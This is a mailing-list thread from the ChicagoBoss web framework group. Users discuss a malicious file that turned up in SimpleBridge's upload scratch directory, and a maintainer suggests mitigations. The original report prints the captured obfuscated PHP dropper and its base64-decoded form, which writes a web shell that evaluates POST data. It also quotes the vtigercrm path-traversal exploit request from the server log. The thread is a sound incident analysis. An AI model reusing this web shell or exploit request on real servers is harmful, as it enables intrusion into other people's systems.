As a brief overview of what the "scratch" files are and what they do, they're just a holding place for uploaded files, which once the file is uploaded, simplebridge doesn't really care what the file is used for. But the files are stored on disk so that the RAM won't get overloaded by uploads.
There are a few things you could do, probably the simplest of which would be to make simple_bridge store the files in RAM, set the max_files_in_memory_size option ( https://github.com/nitrogen/simple_bridge/blob/master/README.markdown#storing-uploaded-files-in-ram-rather-than-on-disk ) This will prevent small uploaded files from being automatically written to disk. That's probably the easiest approach. As it is, the files are just files on disk, simple_bridge neither executes, evaluates, or cares what the files are, and doesn't clean up after itself. So you might want to employ a cron-job to clean up, or change the location of the scratch dir ( https://github.com/nitrogen/simple_bridge/blob/master/etc/simple_bridge.config#L58-L60 ) Hope that helps steer you in the right direction. -Jesse On Tue, Oct 4, 2016 at 1:10 PM, Robert Swirsky <rob...@chatterbeak.com> wrote: > I see this is a 3-year old issue, but I, too was surprised when malicious > php files started appearing in my scratch directory. And my very simple > Chicago Boss application has no file-upload forms on it. I see your > description below, but I'm not quite sure how they got the files there. (It > was a PHP upload script gzipped, disguised as a GIF, same as you.) > > I'm impressed that there's some script-kiddy out there who bothers with > Chicago Boss websites! As if there's a chance we'll be serving PHP out of > the same directory. What's the best way to patch this without breaking > Simple Bridge's ability to handle uploads? > > On Saturday, February 2, 2013 at 4:14:58 PM UTC-8, Tomas Morstein wrote: >> >> Hello, >> >> We had some webserver related issues with both misultin and mochiweb, so >> we decided to switch one of our production applications to cowboy (which >> works pretty well). >> When we wanted to execute this action, I discovered a new file that has >> nothing to do with our application and was created yesterday: >> >> $ stat scratch/198-241-218-121-61-228-114-21-246-192-252-101-184- >> 36-184-141 >> File: `scratch/198-241-218-121-61-228-114-21-246-192-252-101-184- >> 36-184-141' >> Size: 266 Blocks: 8 IO Block: 4096 regular file >> Device: fb00h/64256d Inode: 785007 Links: 1 >> Access: (0644/-rw-r--r--) Uid: ( 1000/ tmr) Gid: ( 100/ users) >> Access: 2013-02-02 23:26:42.004156002 +0100 >> Modify: 2013-02-01 09:19:09.474156001 +0100 >> Change: 2013-02-01 09:19:09.474156001 +0100 >> $ >> $ cat scratch/198-241-218-121-61-228-114-21-246-192-252-101-184- >> 36-184-141 >> <?eval(base64_decode("JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdG >> E9Jzw/IGVjaG8gIkZhcmlzIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS >> 0tLS0tLS0iO0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG >> 8gIi0tLS0tLS0tLS0tLS0tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg==")); >> >> ?> >> $ >> $ echo "JGY9Zm9wZW4oJ2ZhLnBocCcsJ3crJyk7JGRhdGE9Jzw/IGVjaG8gIkZhcml >> zIG9uIHRoZSBtaWMgOkQ8YnI+LS0tLS0tLS0tLS0tLS0tLS0iO0BldmFsKGJ >> hc2U2NF9kZWNvZGUoJF9QT1NUW2ZhXSkpO2VjaG8gIi0tLS0tLS0tLS0tLS0 >> tLS0tIjsgPz4nO2Z3cml0ZSgkZiwkZGF0YSk7ZWNobyAiZG9uZSI7Cg==" | base64 -d >> $f=fopen('fa.php','w+');$data='<? echo "Faris on the mic >> :D<br>-----------------";@eval(base64_decode($_POST[fa]));echo >> "-----------------"; ?>';fwrite($f,$data);echo "done"; >> $ >> >> Since the scratch directory is SimpleBridge's default upload directory, I >> took a look over logs and found this: >> >> 2013-02-01 09:19:09.484 [error] <0.31784.7> {function_clause,[{myapp_error >> _controller,notfound,['POST',[],{myapp_error_controller,{ >> simple_bridge_request_wrapper,misultin_request_bridge,{ >> misultin_req,<0.31781.7>,28694},true,[],[{uploaded_ >> file,"/dev/rd/tiger/fa.txt","./scratch/198-241-218-121-61- >> 228-114-21-246-192-252-101-184-36-184-141",266}],none},"7 >> fb9bb506fdbad4848f3ac975922b4f08b236b6c"}],[{file,"/.../myap >> p/src/controller/myapp_error_controller.erl"},{line,15}]},{ >> boss_web_controller,execute_action,5,[{file,"src/boss/ >> boss_web_controller.erl"},{line,785}]},{boss_web_controll >> er,process_not_found,5,[{file,"src/boss/boss_web_controller. >> erl"},{line,553}]},{boss_web_controller,process_dynamic_ >> request,5,[{file,"src/boss/boss_web_controller.erl"},{ >> line,539}]},{boss_web_controller,process_request,5,[{file," >> src/boss/boss_web_controller.erl"},{line,521}]},{timer,tc, >> 3,[{file,"timer.erl"},{line,194}]},{boss_web_controller, >> build_dynamic_response,4,[{file,"src/boss/boss_web_ >> controller.erl"},{line,451}]}]} >> >> ...and Apache reverse proxy: >> >> 27.189.197.71 - - [01/Feb/2013:09:19:08 +0100] "POST >> /vtigercrm/graph.php?module=../modules/Settings&action=savewordtemplate >> HTTP/1.1" 500 5942 "http://1337s.cc/index.php"; "Mozilla/5.0 (Windows; U; >> Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)" >> >> It seems that nothing big happened as the PHP code was not evaluated >> anywhere, but along with making my error controller HTTP-method >> independent, this incident leads me to another questions: >> >> - is there any method to effectively control maximal upload size, >> enable/disable uploads at all, and to deal with another useful (not only >> upload-related) options? It would be nice to disable uploads unless the >> application selectively allows it for some specific paths, under some >> specific conditions -- if the user is logged for example. Do we need to >> hack SiBr or any of the webservers? >> - is it possible to have HTTP console information messages customized >> for example to log Req:peer_ip()? (I think somebody else already asked for >> this recently.) >> >> I am thinking about handling "weird stuff" in error controller which will >> log all the events into audit database as well as it would optionally >> export some firewall rules to block potential intruders or share the >> "intrusion database" with another cluster nodes, and so on. >> The problem is that I am not sure if the error (404/500) handling >> controller will get triggered on _all_ the errors, I don't know if we can >> really rely on error controllers. >> (For example one of the cowboy migration reasons was that mochiweb >> crashed in production for unknown reason (althought on development box it >> was running OK) and in other hand, misultin was not crashing, but if the >> user requested invalid controller/action combination, the error controller >> was never trigerred. There were also some problems with >> mochiweb_util:urlencode which was getting unsupported tuple argument in the >> case of misultin -- and that was also not handled by errror controller [I >> would expect HTTP 500 error].) >> >> Any practical experience or at least theoretical future feature plans in >> this "security" field? >> >> Thanks, >> Tom >> > -- > You received this message because you are subscribed to the Google Groups > "ChicagoBoss" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to chicagoboss+unsubscr...@googlegroups.com. > Visit this group at https://groups.google.com/group/chicagoboss. > To view this discussion on the web visit https://groups.google.com/d/ > msgid/chicagoboss/e736f93f-398e-4452-a2e0-b2e44f80f587%40googlegroups.com > <https://groups.google.com/d/msgid/chicagoboss/e736f93f-398e-4452-a2e0-b2e44f80f587%40googlegroups.com?utm_medium=email&utm_source=footer> > . > For more options, visit https://groups.google.com/d/optout. > -- Jesse Gumm Owner, Sigma Star Systems 414.940.4866 || sigma-star.com || @jessegumm -- You received this message because you are subscribed to the Google Groups "ChicagoBoss" group. To unsubscribe from this group and stop receiving emails from it, send an email to chicagoboss+unsubscr...@googlegroups.com. Visit this group at https://groups.google.com/group/chicagoboss. To view this discussion on the web visit https://groups.google.com/d/msgid/chicagoboss/CAPTXyXdPTkdXSaXzsMUBk9yVC948-e1Y_8j%2BgX3fQB%2BmfXtHwQ%40mail.gmail.com. For more options, visit https://groups.google.com/d/optout.
